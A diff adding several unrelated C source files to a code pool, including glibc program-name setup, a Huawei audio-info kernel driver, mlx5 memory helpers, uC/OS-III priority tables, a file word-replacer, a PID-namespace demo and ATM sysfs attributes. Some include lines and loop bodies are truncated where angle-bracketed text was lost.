if(c >= 'A' && c <= 'Z') return true; + if(c >= '0' && c <= '9') return true; + return false; +} diff --git a/pool/shard011/C/0142089_init-misc.c b/pool/shard011/C/0142089_init-misc.c new file mode 100644 index 0000000000000000000000000000000000000000..a9bf1da74abc915b12e3632c97f6efc6b488f5e7 --- /dev/null +++ b/pool/shard011/C/0142089_init-misc.c @@ -0,0 +1,40 @@ +/* Define and initialize `__progname' et. al. + Copyright (C) 1994-2016 Free Software Foundation, Inc. + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + . */ + +#include +#include + +char *__progname_full = (char *) ""; +char *__progname = (char *) ""; +weak_alias (__progname_full, program_invocation_name) +weak_alias (__progname, program_invocation_short_name) + + +void +__init_misc (int argc, char **argv, char **envp) +{ + if (argv && argv[0]) + { + char *p = strrchr (argv[0], '/'); + if (p == NULL) + __progname = argv[0]; + else + __progname = p + 1; + __progname_full = argv[0]; + } +} diff --git a/pool/shard011/C/0142090_hw_audio_info.c b/pool/shard011/C/0142090_hw_audio_info.c new file mode 100644 index 0000000000000000000000000000000000000000..c0b736c2e20dc8191bb889072e5ff0a28818e302 --- /dev/null +++ b/pool/shard011/C/0142090_hw_audio_info.c @@ -0,0 +1,278 @@ +/* + * Copyright (C) huawei company + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Audio property is an unsigned 32-bit integer stored in the variable of audio_property. + The meaning of audio_property is defined as following MACROs in groups of 4 bits */ + +/* Delete ambiguous builtin mic type */ +/* Bit4 ~ bit7: + Actually existing mics on the phone, it's NOT relevant to fluence. Using one bit to denote + the existence of one kind of mic, possible mics are: + master mic: the basic mic used for call and record, if it doesn't exist means the + config or software is wrong. + secondary mic: auxiliary mic, usually used for fluence or paired with speaker in + handsfree mode, it's possible that this mic exist but fluence isn't enabled. + error mic: used in handset ANC. */ +#define AUDIO_PROP_MASTER_MIC_EXIST_NODE "builtin-master-mic-exist" +#define AUDIO_PROP_SECONDARY_MIC_EXIST_NODE "builtin-2nd-mic-exist" +#define AUDIO_PROP_ERROR_MIC_EXIST_NODE "builtin-error-mic-exist" +#define AUDIO_PROP_MASTER_MIC_EXIST_MASK 0x00000010 +#define AUDIO_PROP_SECONDARY_MIC_EXIST_MASK 0x00000020 +#define AUDIO_PROP_ERROR_MIC_EXIST_MASK 0x00000040 + +/* Bit12 ~ bit15: + Denote which mic would be used in hand held mode, please add as needed */ +#define AUDIO_PROP_HANDHELD_MASTER_MIC_NODE "hand_held_master_mic_strategy" +#define AUDIO_PROP_HANDHELD_DUAL_MIC_NODE "hand_held_dual_mic_strategy" +#define AUDIO_PROP_HANDHELD_AANC_MIC_NODE "hand_held_aanc_mic_strategy" +#define AUDIO_PROP_HANDHELD_MASTER_MIC 0x00001000 +#define AUDIO_PROP_HANDHELD_DUAL_MIC 0x00002000 +#define AUDIO_PROP_HANDHELD_AANC_MIC 0x00004000 + +#define PRODUCT_IDENTIFIER_NODE "product-identifier" +#define PRODUCT_IDENTIFIER_BUFF_SIZE 64 +#define AUD_PARAM_VER_NODE "aud_param_ver" +#define AUD_PARAM_VER_BUFF_SIZE 32 + +#define AUDIO_PROP_BTSCO_NREC_ADAPT_MASK 0xf0000000 +#define AUDIO_PROP_BTSCO_NREC_ADAPT_OFF 0x10000000 +#define AUDIO_PROP_BTSCO_NREC_ADAPT_ON 0x20000000 + +#define PRODUCT_NERC_ADAPT_CONFIG "product-btsco-nrec-adapt" + +/* Bit16 ~ bit19: + Denote which mic would be used in loud speaker mode, please add as needed */ +#define AUDIO_PROP_LOUDSPEAKER_MASTER_MIC_NODE "loud_speaker_master_mic_strategy" +#define AUDIO_PROP_LOUDSPEAKER_SECOND_MIC_NODE "loud_speaker_second_mic_strategy" +#define AUDIO_PROP_LOUDSPEAKER_ERROR_MIC_NODE "loud_speaker_error_mic_strategy" +#define AUDIO_PROP_LOUDSPEAKER_MASTER_MIC 0x00010000 +#define AUDIO_PROP_LOUDSPEAKER_SECOND_MIC 0x00020000 +#define AUDIO_PROP_LOUDSPEAKER_ERROR_MIC 0x00040000 +/* Delete unused codes related to string_to_value function */ + +/** +* audio_property - Product specified audio properties +*/ +static unsigned int audio_property = 0; + +/** +* product_identifier - Product identifier, used for audio parameter auto-adapt +*/ +static char product_identifier[PRODUCT_IDENTIFIER_BUFF_SIZE] = "default"; + +static char aud_param_ver[AUD_PARAM_VER_BUFF_SIZE] = "default"; + +static ssize_t audio_property_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) +{ + if(NULL != buf) + { + /* The size of buf should be one page(PAGE_SIZE), which will be surely + enough to hold the string converted from a 32 bit unsigned integer. + So omit unnecessary overflow check */ + return snprintf(buf, PAGE_SIZE, "%08X\n", audio_property); + } + + return 0; +} + +static struct kobj_attribute audio_property_attribute = + __ATTR(audio_property, 0444, audio_property_show, NULL); + +static ssize_t product_identifier_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) +{ + if(NULL != buf) + { + /* Newline is not appended on purpose, for convenience of reader programs */ + snprintf(buf, PAGE_SIZE, "%s", product_identifier); + return strlen(buf); + } + + return 0; +} + +/** +* audiopara_version_show - used for cat the value of node aud_param_ver +*/ +static ssize_t audiopara_version_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) +{ + if(NULL != buf) + { + return snprintf(buf, PAGE_SIZE, "%s", aud_param_ver); + } + return 0; +} +static struct kobj_attribute product_identifier_attribute = + __ATTR(product_identifier, 0444, product_identifier_show, NULL); +static struct kobj_attribute aud_param_ver_attribute = + __ATTR(aud_param_ver, 0444, audiopara_version_show, NULL); + +static struct attribute *audio_attrs[] = { + &audio_property_attribute.attr, + &product_identifier_attribute.attr, + &aud_param_ver_attribute.attr, + NULL, +}; + +static struct attribute_group audio_group = { + .name ="hw_audio_info", + .attrs = audio_attrs, +}; + +static const struct attribute_group *groups[] = { + &audio_group, + NULL, +}; + +static struct of_device_id audio_info_match_table[] = { + { .compatible = "huawei,hw_audio_info",}, + { }, +}; + +static int __devinit audio_info_probe(struct platform_device *pdev) +{ + int ret; + const char *string; + + if(NULL == pdev) + { + printk(KERN_ERR "huawei_audio: audio_info_probe failed, pdev is NULL\n"); + return 0; + } + + if(NULL == pdev->dev.of_node) + { + printk(KERN_ERR "huawei_audio: audio_info_probe failed, of_node is NULL\n"); + return 0; + } + + /* Delete ambiguous builtin mic type */ + + if(of_property_read_bool(pdev->dev.of_node, AUDIO_PROP_MASTER_MIC_EXIST_NODE)) + { + audio_property |= AUDIO_PROP_MASTER_MIC_EXIST_MASK; + } + else + { + printk(KERN_ERR "huawei_audio: check mic config, no master mic found\n"); + } + + if(of_property_read_bool(pdev->dev.of_node, AUDIO_PROP_SECONDARY_MIC_EXIST_NODE)) + { + audio_property |= AUDIO_PROP_SECONDARY_MIC_EXIST_MASK; + } + + if(of_property_read_bool(pdev->dev.of_node, AUDIO_PROP_ERROR_MIC_EXIST_NODE)) + { + audio_property |= AUDIO_PROP_ERROR_MIC_EXIST_MASK; + } + + if(of_property_read_bool(pdev->dev.of_node, AUDIO_PROP_HANDHELD_MASTER_MIC_NODE)) + { + audio_property |= AUDIO_PROP_HANDHELD_MASTER_MIC; + } + + if(of_property_read_bool(pdev->dev.of_node, AUDIO_PROP_HANDHELD_DUAL_MIC_NODE)) + { + audio_property |= AUDIO_PROP_HANDHELD_DUAL_MIC; + } + + if(of_property_read_bool(pdev->dev.of_node, AUDIO_PROP_HANDHELD_AANC_MIC_NODE)) + { + audio_property |= AUDIO_PROP_HANDHELD_AANC_MIC; + } + + if(of_property_read_bool(pdev->dev.of_node, AUDIO_PROP_LOUDSPEAKER_MASTER_MIC_NODE)) + { + audio_property |= AUDIO_PROP_LOUDSPEAKER_MASTER_MIC; + } + + if(of_property_read_bool(pdev->dev.of_node, AUDIO_PROP_LOUDSPEAKER_SECOND_MIC_NODE)) + { + audio_property |= AUDIO_PROP_LOUDSPEAKER_SECOND_MIC; + } + + if(of_property_read_bool(pdev->dev.of_node, AUDIO_PROP_LOUDSPEAKER_ERROR_MIC_NODE)) + { + audio_property |= AUDIO_PROP_LOUDSPEAKER_ERROR_MIC; + } + + string = NULL; + ret = of_property_read_string(pdev->dev.of_node, PRODUCT_IDENTIFIER_NODE, &string); + if(ret || (NULL == string)) + { + printk(KERN_ERR "huawei_audio: of_property_read_string product-identifier failed %d\n", ret); + } + else + { + memset(product_identifier, 0, sizeof(product_identifier)); + strncpy(product_identifier, string, sizeof(product_identifier) - 1); + } + + if(false == of_property_read_bool(pdev->dev.of_node, PRODUCT_NERC_ADAPT_CONFIG)) + { + printk(KERN_ERR "huawei_audio: of_property_read_bool PRODUCT_NERC_ADAPT_CONFIG failed %d\n", ret); + audio_property |= (AUDIO_PROP_BTSCO_NREC_ADAPT_OFF & AUDIO_PROP_BTSCO_NREC_ADAPT_MASK); + } + else + { + audio_property |= ( AUDIO_PROP_BTSCO_NREC_ADAPT_ON & AUDIO_PROP_BTSCO_NREC_ADAPT_MASK); + } + + string = NULL; + ret = of_property_read_string(pdev->dev.of_node, AUD_PARAM_VER_NODE, &string); + if(ret || (NULL == string)) + { + printk(KERN_ERR "huawei_audio: of_property_read_string aud_param_ver failed %d\n", ret); + } + else + { + memset(aud_param_ver, 0, sizeof(aud_param_ver)); + strncpy(aud_param_ver, string, sizeof(aud_param_ver) - 1); + } + + return 0; +} + +static struct platform_driver audio_info_driver = { + .driver = { + .name = "hw_audio_info", + .owner = THIS_MODULE, + .groups = groups, + .of_match_table = audio_info_match_table, + }, + + .probe = audio_info_probe, + .remove = NULL, +}; + +static int __init audio_info_init(void) +{ + return platform_driver_register(&audio_info_driver); +} + +static void __exit audio_info_exit(void) +{ + platform_driver_unregister(&audio_info_driver); +} + +module_init(audio_info_init); +module_exit(audio_info_exit); +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("Huawei audio info"); +MODULE_AUTHOR("duhongyan"); diff --git a/pool/shard011/C/0142091_4i.c b/pool/shard011/C/0142091_4i.c new file mode 100644 index 0000000000000000000000000000000000000000..0b036654561a088890d7ae0d891c807059d91ff3 --- /dev/null +++ b/pool/shard011/C/0142091_4i.c @@ -0,0 +1,19 @@ +//Napisać funkcję iteracyjną, która wypisuje wszystkie n-wyrazowe ciągi binarne. + +#include + +int nwd(int a,int b) +{ + int c; // Tworzymy zmienną c o typie int + while(b != 0) // Tworzymy pętlę działającą gdy b ≠ 0 + { + c = a % b; // Zmienna c przyjmuje wartość a modulo b + a = b; // Przypisujemy b do a + b = c; // Przypisujemy c do b + } + return a; // Zwracamy a, czyli żądane NWD(a,b) +} + +int main () { + printf("NWD = %d\n", nwd(1989, 867)); +} diff --git a/pool/shard011/C/0142092_mem.c b/pool/shard011/C/0142092_mem.c new file mode 100644 index 0000000000000000000000000000000000000000..3a5322870b966bcac9961f16e3558812912ef0d0 --- /dev/null +++ b/pool/shard011/C/0142092_mem.c @@ -0,0 +1,162 @@ +/* + * Copyright (c) 2013, Mellanox Technologies inc. All rights reserved. + * + * This software is available to you under a choice of one of two + * licenses. You may choose to be licensed under the terms of the GNU + * General Public License (GPL) Version 2, available from the file + * COPYING in the main directory of this source tree, or the + * OpenIB.org BSD license below: + * + * Redistribution and use in source and binary forms, with or + * without modification, are permitted provided that the following + * conditions are met: + * + * - Redistributions of source code must retain the above + * copyright notice, this list of conditions and the following + * disclaimer. + * + * - Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials + * provided with the distribution. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ + +#include +#include +#include "mlx5_ib.h" + +/* @umem: umem object to scan + * @addr: ib virtual address requested by the user + * @count: number of PAGE_SIZE pages covered by umem + * @shift: page shift for the compound pages found in the region + * @ncont: number of compund pages + * @order: log2 of the number of compound pages + */ +void mlx5_ib_cont_pages(struct ib_umem *umem, u64 addr, int *count, int *shift, + int *ncont, int *order) +{ + struct ib_umem_chunk *chunk; + unsigned long tmp; + unsigned long m; + int i, j, k; + u64 base = 0; + int p = 0; + int skip; + int mask; + u64 len; + u64 pfn; + + addr = addr >> PAGE_SHIFT; + tmp = (unsigned long)addr; + m = find_first_bit(&tmp, sizeof(tmp)); + skip = 1 << m; + mask = skip - 1; + i = 0; + list_for_each_entry(chunk, &umem->chunk_list, list) + for (j = 0; j < chunk->nmap; j++) { + len = sg_dma_len(&chunk->page_list[j]) >> PAGE_SHIFT; + pfn = sg_dma_address(&chunk->page_list[j]) >> PAGE_SHIFT; + for (k = 0; k < len; k++) { + if (!(i & mask)) { + tmp = (unsigned long)pfn; + m = min(m, find_first_bit(&tmp, sizeof(tmp))); + skip = 1 << m; + mask = skip - 1; + base = pfn; + p = 0; + } else { + if (base + p != pfn) { + tmp = (unsigned long)p; + m = find_first_bit(&tmp, sizeof(tmp)); + skip = 1 << m; + mask = skip - 1; + base = pfn; + p = 0; + } + } + p++; + i++; + } + } + + if (i) { + m = min_t(unsigned long, ilog2(roundup_pow_of_two(i)), m); + + if (order) + *order = ilog2(roundup_pow_of_two(i) >> m); + + *ncont = DIV_ROUND_UP(i, (1 << m)); + } else { + m = 0; + + if (order) + *order = 0; + + *ncont = 0; + } + *shift = PAGE_SHIFT + m; + *count = i; +} + +void mlx5_ib_populate_pas(struct mlx5_ib_dev *dev, struct ib_umem *umem, + int page_shift, __be64 *pas, int umr) +{ + int shift = page_shift - PAGE_SHIFT; + int mask = (1 << shift) - 1; + struct ib_umem_chunk *chunk; + int i, j, k; + u64 cur = 0; + u64 base; + int len; + + i = 0; + list_for_each_entry(chunk, &umem->chunk_list, list) + for (j = 0; j < chunk->nmap; j++) { + len = sg_dma_len(&chunk->page_list[j]) >> PAGE_SHIFT; + base = sg_dma_address(&chunk->page_list[j]); + for (k = 0; k < len; k++) { + if (!(i & mask)) { + cur = base + (k << PAGE_SHIFT); + if (umr) + cur |= 3; + + pas[i >> shift] = cpu_to_be64(cur); + mlx5_ib_dbg(dev, "pas[%d] 0x%llx\n", + i >> shift, be64_to_cpu(pas[i >> shift])); + } else + mlx5_ib_dbg(dev, "=====> 0x%llx\n", + base + (k << PAGE_SHIFT)); + i++; + } + } +} + +int mlx5_ib_get_buf_offset(u64 addr, int page_shift, u32 *offset) +{ + u64 page_size; + u64 page_mask; + u64 off_size; + u64 off_mask; + u64 buf_off; + + page_size = 1 << page_shift; + page_mask = page_size - 1; + buf_off = addr & page_mask; + off_size = page_size >> 6; + off_mask = off_size - 1; + + if (buf_off & off_mask) + return -EINVAL; + + *offset = buf_off >> ilog2(off_size); + return 0; +} diff --git a/pool/shard011/C/0142093_os_prio.c b/pool/shard011/C/0142093_os_prio.c new file mode 100644 index 0000000000000000000000000000000000000000..682b46bb45d8b3f47fdf852c05f67d0a9fbea571 --- /dev/null +++ b/pool/shard011/C/0142093_os_prio.c @@ -0,0 +1,154 @@ +/* +************************************************************************************************************************ +* uC/OS-III +* The Real-Time Kernel +* +* (c) Copyright 2009-2011; Micrium, Inc.; Weston, FL +* All rights reserved. Protected by international copyright laws. +* +* PRIORITY MANAGEMENT +* +* File : OS_PRIO.C +* By : JJL +* Version : V3.02.00 +* +* LICENSING TERMS: +* --------------- +* uC/OS-III is provided in source form for FREE short-term evaluation, for educational use or +* for peaceful research. If you plan or intend to use uC/OS-III in a commercial application/ +* product then, you need to contact Micrium to properly license uC/OS-III for its use in your +* application/product. We provide ALL the source code for your convenience and to help you +* experience uC/OS-III. The fact that the source is provided does NOT mean that you can use +* it commercially without paying a licensing fee. +* +* Knowledge of the source code may NOT be used to develop a similar product. +* +* Please help us continue to provide the embedded community with the finest software available. +* Your honesty is greatly appreciated. +* +* You can contact us at www.micrium.com, or by phone at +1 (954) 217-2036. +************************************************************************************************************************ +*/ + +#include + +#ifdef VSC_INCLUDE_SOURCE_FILE_NAMES +const CPU_CHAR *os_prio__c = "$Id: $"; +#endif + + +CPU_DATA OSPrioTbl[OS_PRIO_TBL_SIZE]; /* Declare the array local to this file to allow for ... */ + /* ... optimization. In other words, this allows the ... */ + /* ... table to be located in fast memory */ + +/* +************************************************************************************************************************ +* INITIALIZE THE PRIORITY LIST +* +* Description: This function is called by uC/OS-III to initialize the list of ready priorities. +* +* Arguments : none +* +* Returns : none +* +* Note : This function is INTERNAL to uC/OS-III and your application should not call it. +************************************************************************************************************************ +*/ + +void OS_PrioInit (void) +{ + CPU_DATA i; + + + /* Clear the bitmap table ... no task is ready */ + for (i = 0u; i < OS_PRIO_TBL_SIZE; i++) { + OSPrioTbl[i] = (CPU_DATA)0; + } +} + +/* +************************************************************************************************************************ +* GET HIGHEST PRIORITY TASK WAITING +* +* Description: This function is called by other uC/OS-III services to determine the highest priority task +* waiting on the event. +* +* Arguments : none +* +* Returns : The priority of the Highest Priority Task (HPT) waiting for the event +* +* Note(s) : 1) This function is INTERNAL to uC/OS-III and your application MUST NOT call it. +************************************************************************************************************************ +*/ + +OS_PRIO OS_PrioGetHighest (void) +{ + CPU_DATA *p_tbl; + OS_PRIO prio; + + + prio = (OS_PRIO)0; + p_tbl = &OSPrioTbl[0]; + while (*p_tbl == (CPU_DATA)0) { /* Search the bitmap table for the highest priority */ + prio += DEF_INT_CPU_NBR_BITS; /* Compute the step of each CPU_DATA entry */ + p_tbl++; + } + prio += (OS_PRIO)CPU_CntLeadZeros(*p_tbl); /* Find the position of the first bit set at the entry */ + return (prio); +} + +/* +************************************************************************************************************************ +* INSERT PRIORITY +* +* Description: This function is called to insert a priority in the priority table. +* +* Arguments : prio is the priority to insert +* +* Returns : none +* +* Note(s) : 1) This function is INTERNAL to uC/OS-III and your application MUST NOT call it. +************************************************************************************************************************ +*/ + +void OS_PrioInsert (OS_PRIO prio) +{ + CPU_DATA bit; + CPU_DATA bit_nbr; + OS_PRIO ix; + + + ix = prio / DEF_INT_CPU_NBR_BITS; + bit_nbr = (CPU_DATA)prio & (DEF_INT_CPU_NBR_BITS - 1u); + bit = 1u; + bit <<= (DEF_INT_CPU_NBR_BITS - 1u) - bit_nbr; + OSPrioTbl[ix] |= bit; +} + +/* +************************************************************************************************************************ +* REMOVE PRIORITY +* +* Description: This function is called to remove a priority in the priority table. +* +* Arguments : prio is the priority to remove +* +* Returns : none +* +* Note(s) : 1) This function is INTERNAL to uC/OS-III and your application MUST NOT call it. +************************************************************************************************************************ +*/ + +void OS_PrioRemove (OS_PRIO prio) +{ + CPU_DATA bit; + CPU_DATA bit_nbr; + OS_PRIO ix; + + + ix = prio / DEF_INT_CPU_NBR_BITS; + bit_nbr = (CPU_DATA)prio & (DEF_INT_CPU_NBR_BITS - 1u); + bit = 1u; + bit <<= (DEF_INT_CPU_NBR_BITS - 1u) - bit_nbr; + OSPrioTbl[ix] &= ~bit; +} diff --git a/pool/shard011/C/0142094_file_replace.c b/pool/shard011/C/0142094_file_replace.c new file mode 100644 index 0000000000000000000000000000000000000000..6d574a9cf7135e6839b857019ef5d7eef844cac8 --- /dev/null +++ b/pool/shard011/C/0142094_file_replace.c @@ -0,0 +1,221 @@ +#include "file_replace.h" + +void constructorFileHand(fileHand *obj) +{ + if(obj!=NULL) + { + memset(obj->oldFile,0,MAX_CHAR); + memset(obj->newFile,0,MAX_CHAR); + } + else + { + /* do nothing */ + } +} +void destructorFileHand(fileHand *obj) +{ + constructorFileHand(obj); +} +void setFileHand(fileHand *obj,const char *nameold,const char *newName) +{ + char *oldF =NULL; + char *nwF =NULL; + if(obj!=NULL) + { + oldF = obj->oldFile; + nwF = obj->newFile; + memcpy(oldF,nameold,strlen(nameold)); + memcpy(nwF,newName,strlen(newName)); + oldF[strlen(nameold)] ='\0'; + nwF[strlen(newName)] ='\0'; + } + else + { + /* do nothing */ + } +} +void updateAttrbFileHand(fileHand *obj,pVoidList *list) +{ + symbHand *sym1 = NULL; + int count =0; + int index=0; + int ret =0; + char nwFile[MAX_CHAR]; + char *nw=NULL; + char *old=NULL; + if((obj!=NULL)&&(list!=NULL)) + { + nw = obj->newFile; + old = obj->oldFile; + strcpy(nwFile,nw); + count = countPVoidList(list); + /* update nw name file*/ + for(index=0;index newFile); + */ + } + /* update old name file*/ + strcpy(nwFile,old); + for(index=0;index newFile); + */ + } + } + else + { + /* do nothing */ + } +} + +void processReplacingWordFileHande(fileHand *obj,pVoidList *list) +{ + symbHand *sym1 = NULL; + int count =0; + int sizeBuff =MAX_BUFF-1; + int index=0; + int ret =0; + char *nw =NULL; + char *old =NULL; + char type =0; /* 1 oldFile != new, 2 old == new , 0 is failed process */ + FILE *fpOld =NULL; + FILE *fpNw =NULL; + char buffFile[MAX_BUFF]; + char buffNew[MAX_BUFF]; + /* verify and open file to read and write*/ + if((obj!=NULL)&&(list!=NULL)) + { + count = countPVoidList(list); + nw = obj->newFile; + old= obj->oldFile; + fpOld = fopen(old,"r"); + printf("open file name : %s\n",old); + memset(buffFile,0,MAX_BUFF); + memset(buffNew,0,MAX_BUFF); + if(strcmp(nw,old)==0) + { + type = 2; /* old == new */ + } + else + { + type = 1; + fpNw = fopen(nw,"w"); + } + if((type==1)&&((fpOld==NULL)||(fpNw==NULL))) + { + printf("nothing Fold:%p FNew:%p \n",fpOld,fpNw); + if(fpOld!=NULL) + { + fclose(fpOld); + fpOld=NULL; + } + else + { + /* do nothing */ + } + if(fpNw!=NULL) + { + fclose(fpNw); + fpNw = NULL; + } + else + { + /* do nothing */ + } + type =0; /* failed */ + } + else if(fpOld ==NULL) + { + type =0; /* failed */ + } + else + { + /* do nothing */ + } + } + else + { + /* do nothing */ + } + if(type==1) + { + while(fgets(buffFile,sizeBuff,fpOld)!= 0) + { + for(index = 0;index // EXIT_FAILURE, etc. +#include // fprintf, etc. + +#include "metadata_t.h" +#include "chunks_metadata.h" + +int main(int argc, char *argv[]) +{ + if (argc < 2) + { + fprintf(stderr, "DIRECTORY is a required parameter.\n"); + return EXIT_FAILURE; + } + + char *dev_dir_path = argv[1]; + + metadata_t metadata; + int ok = read_metadata(dev_dir_path, &metadata); + if (ok != 0) return EXIT_FAILURE; + + printf("metadata version: %i\n", metadata.v0.metadata_version); + printf("block device size: %i bytes\n", metadata.v1.dev_size); + printf("chunk size: %i bytes\n", metadata.v1.chunk_size); + + if (metadata.v1.chunks_per_subdir) + { + printf("chunks per subdirectory: %llu\n", metadata.v1.chunks_per_subdir); + } + else + { + printf("chunks per subdirectory: 0 (subdirectories disabled)\n"); + } + + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0142097_multi_pidns.c b/pool/shard011/C/0142097_multi_pidns.c new file mode 100644 index 0000000000000000000000000000000000000000..1fd6268d5c0b852e7e0c99afb8a71cd3698eddb7 --- /dev/null +++ b/pool/shard011/C/0142097_multi_pidns.c @@ -0,0 +1,113 @@ +/*************************************************************************\ +* Copyright (C) Michael Kerrisk, 2015. * +* * +* This program is free software. You may use, modify, and redistribute it * +* under the terms of the GNU General Public License as published by the * +* Free Software Foundation, either version 3 or (at your option) any * +* later version. This program is distributed without any warranty. See * +* the file COPYING.gpl-v3 for details. * +\*************************************************************************/ + +/* Supplementary program for Chapter Z-namespaces */ + +/* multi_pidns.c + + Create a series of child processes in nested PID namespaces. + + See https://lwn.net/Articles/531419/ +*/ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* A simple error-handling function: print an error message based + on the value in 'errno' and terminate the calling process */ + +#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ + } while (0) + +#define STACK_SIZE (1024 * 1024) + +static char child_stack[STACK_SIZE]; /* Space for child's stack */ + /* Since each child gets a copy of virtual memory, this + buffer can be reused as each child creates its child */ + +/* Recursively create a series of child process in nested PID namespaces. + 'arg' is an integer that counts down to 0 during the recursion. + When the counter reaches 0, recursion stops and the tail child + executes the sleep(1) program. */ + +static int +childFunc(void *arg) +{ + static int first_call = 1; + long level = (long) arg; + + if (!first_call) { + + /* Unless this is the first recursive call to childFunc() + (i.e., we were invoked from main()), mount a procfs + for the current PID namespace */ + + char mount_point[PATH_MAX]; + + snprintf(mount_point, PATH_MAX, "/proc%c", (char) ('0' + level)); + + mkdir(mount_point, 0555); /* Create directory for mount point */ + if (mount("proc", mount_point, "proc", 0, NULL) == -1) + errExit("mount"); + printf("Mounting procfs at %s\n", mount_point); + } + + first_call = 0; + + if (level > 0) { + + /* Recursively invoke childFunc() to create another child in a + nested PID namespace */ + + level--; + pid_t child_pid; + + child_pid = clone(childFunc, + child_stack + STACK_SIZE, /* Points to start of + downwardly growing stack */ + CLONE_NEWPID | SIGCHLD, (void *) level); + + if (child_pid == -1) + errExit("clone"); + + if (waitpid(child_pid, NULL, 0) == -1) /* Wait for child */ + errExit("waitpid"); + + } else { + + /* Tail end of recursion: execute sleep(1) */ + + printf("Final child sleeping\n"); + execlp("sleep", "sleep", "1000", (char *) NULL); + errExit("execlp"); + } + + return 0; +} + +int +main(int argc, char *argv[]) +{ + long levels; + + levels = (argc > 1) ? atoi(argv[1]) : 5; + childFunc((void *) levels); + + exit(EXIT_SUCCESS); +} diff --git a/pool/shard011/C/0142098_atm_sysfs.c b/pool/shard011/C/0142098_atm_sysfs.c new file mode 100644 index 0000000000000000000000000000000000000000..6720432d73fddbea0271750521894c10dbef09a0 --- /dev/null +++ b/pool/shard011/C/0142098_atm_sysfs.c @@ -0,0 +1,199 @@ + +#include +#include +#include +#include +#include +#include "common.h" +#include "resources.h" + +#define to_atm_dev(cldev) container_of(cldev, struct atm_dev, class_dev) + +static ssize_t show_type(struct device *cdev, + struct device_attribute *attr, char *buf) +{ + struct atm_dev *adev = to_atm_dev(cdev); + return sprintf(buf, "%s\n", adev->type); +} + +static ssize_t show_address(struct device *cdev, + struct device_attribute *attr, char *buf) +{ + char *pos = buf; + struct atm_dev *adev = to_atm_dev(cdev); + int i; + + for (i = 0; i < (ESI_LEN - 1); i++) + pos += sprintf(pos, "%02x:", adev->esi[i]); + pos += sprintf(pos, "%02x\n", adev->esi[i]); + + return pos - buf; +} + +static ssize_t show_atmaddress(struct device *cdev, + struct device_attribute *attr, char *buf) +{ + unsigned long flags; + char *pos = buf; + struct atm_dev *adev = to_atm_dev(cdev); + struct atm_dev_addr *aaddr; + int bin[] = { 1, 2, 10, 6, 1 }, *fmt = bin; + int i, j; + + spin_lock_irqsave(&adev->lock, flags); + list_for_each_entry(aaddr, &adev->local, entry) { + for (i = 0, j = 0; i < ATM_ESA_LEN; ++i, ++j) { + if (j == *fmt) { + pos += sprintf(pos, "."); + ++fmt; + j = 0; + } + pos += sprintf(pos, "%02x", + aaddr->addr.sas_addr.prv[i]); + } + pos += sprintf(pos, "\n"); + } + spin_unlock_irqrestore(&adev->lock, flags); + + return pos - buf; +} + +static ssize_t show_atmindex(struct device *cdev, + struct device_attribute *attr, char *buf) +{ + struct atm_dev *adev = to_atm_dev(cdev); + + return sprintf(buf, "%d\n", adev->number); +} + +static ssize_t show_carrier(struct device *cdev, + struct device_attribute *attr, char *buf) +{ + char *pos = buf; + struct atm_dev *adev = to_atm_dev(cdev); + + pos += sprintf(pos, "%d\n", + adev->signal == ATM_PHY_SIG_LOST ? 0 : 1); + + return pos - buf; +} + +static ssize_t show_link_rate(struct device *cdev, + struct device_attribute *attr, char *buf) +{ + char *pos = buf; + struct atm_dev *adev = to_atm_dev(cdev); + int link_rate; + + + switch (adev->link_rate) { + case ATM_OC3_PCR: + link_rate = 155520000; + break; + case ATM_OC12_PCR: + link_rate = 622080000; + break; + case ATM_25_PCR: + link_rate = 25600000; + break; + default: + link_rate = adev->link_rate * 8 * 53; + } + pos += sprintf(pos, "%d\n", link_rate); + + return pos - buf; +} + +static DEVICE_ATTR(address, S_IRUGO, show_address, NULL); +static DEVICE_ATTR(atmaddress, S_IRUGO, show_atmaddress, NULL); +static DEVICE_ATTR(atmindex, S_IRUGO, show_atmindex, NULL); +static DEVICE_ATTR(carrier, S_IRUGO, show_carrier, NULL); +static DEVICE_ATTR(type, S_IRUGO, show_type, NULL); +static DEVICE_ATTR(link_rate, S_IRUGO, show_link_rate, NULL); + +static struct device_attribute *atm_attrs[] = { + &dev_attr_atmaddress, + &dev_attr_address, + &dev_attr_atmindex, + &dev_attr_carrier, + &dev_attr_type, + &dev_attr_link_rate, + NULL +}; + + +static int atm_uevent(struct device *cdev, struct kobj_uevent_env *env) +{ + struct atm_dev *adev; + + if (!cdev) + return -ENODEV; + + adev = to_atm_dev(cdev); + if (!adev) + return -ENODEV; + + if (add_uevent_var(env, "NAME=%s%d", adev->type, adev->number)) + return -ENOMEM; + + return 0; +} + +static void atm_release(struct device *cdev) +{ + struct atm_dev *adev = to_atm_dev(cdev); + + kfree(adev); +} + +static struct class atm_class = { + .name = "atm", + .dev_release = 